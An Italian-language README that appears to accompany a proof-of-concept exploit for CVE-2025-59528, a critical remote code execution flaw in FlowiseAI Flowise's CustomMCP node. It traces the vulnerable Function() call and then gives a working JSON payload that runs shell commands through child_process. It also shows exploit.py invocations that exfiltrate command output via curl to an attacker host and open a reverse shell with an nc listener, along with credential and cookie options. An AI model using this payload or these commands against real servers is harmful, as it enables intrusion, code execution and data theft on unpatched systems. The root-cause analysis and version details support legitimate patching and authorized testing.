
CVE-2025-59528 - FlowiseAI CustomMCP Esecuzione Remota di Codice
CVSS 10.0 (Critical) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 e < 3.0.6
Una vulnerabilità critica di esecuzione di codice remoto nel nodo CustomMCP di FlowiseAI Flowise. La funzione convertToValidJSONString passa l'input fornito dall'utente dal parametro mcpServerConfig direttamente al costruttore Function() di JavaScript, funzionalmente equivalente a eval(), consentendo l'esecuzione di codice JavaScript arbitrario con tutti i privilegi del runtime Node.js.
Function() sostituito con JSON5.parse())In packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, righe 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← esecuzione di codice arbitrario
}
Il flusso di contaminazione:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Si tratta di un RCE cieco: l'output del comando non viene riflesso nella risposta HTTP. Utilizzare tecniche di callback (curl/wget) o una reverse shell per confermare l'esecuzione.
| Condizione | Dettagli |
|---|---|
| Versione di Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| Accesso di rete | Endpoint API sulla porta 3000 (predefinita) |
| Autenticazione | Opzionale per < 3.0.1, obbligatoria per >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Esfiltra output tramite callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Avvia il listener
nc -lvnp 4444
# Lancia l'exploit (tenta automaticamente bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# Autenticazione JWT (Flowise >= 3.0.1)
--email [email protected] --password pass
# Autenticazione di base (Flowise < 3.0.1 con variabile d'ambiente FLOWISE_USERNAME)
--username admin --password pass
# Stringa cookie grezza (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPQuesto strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di eseguire test.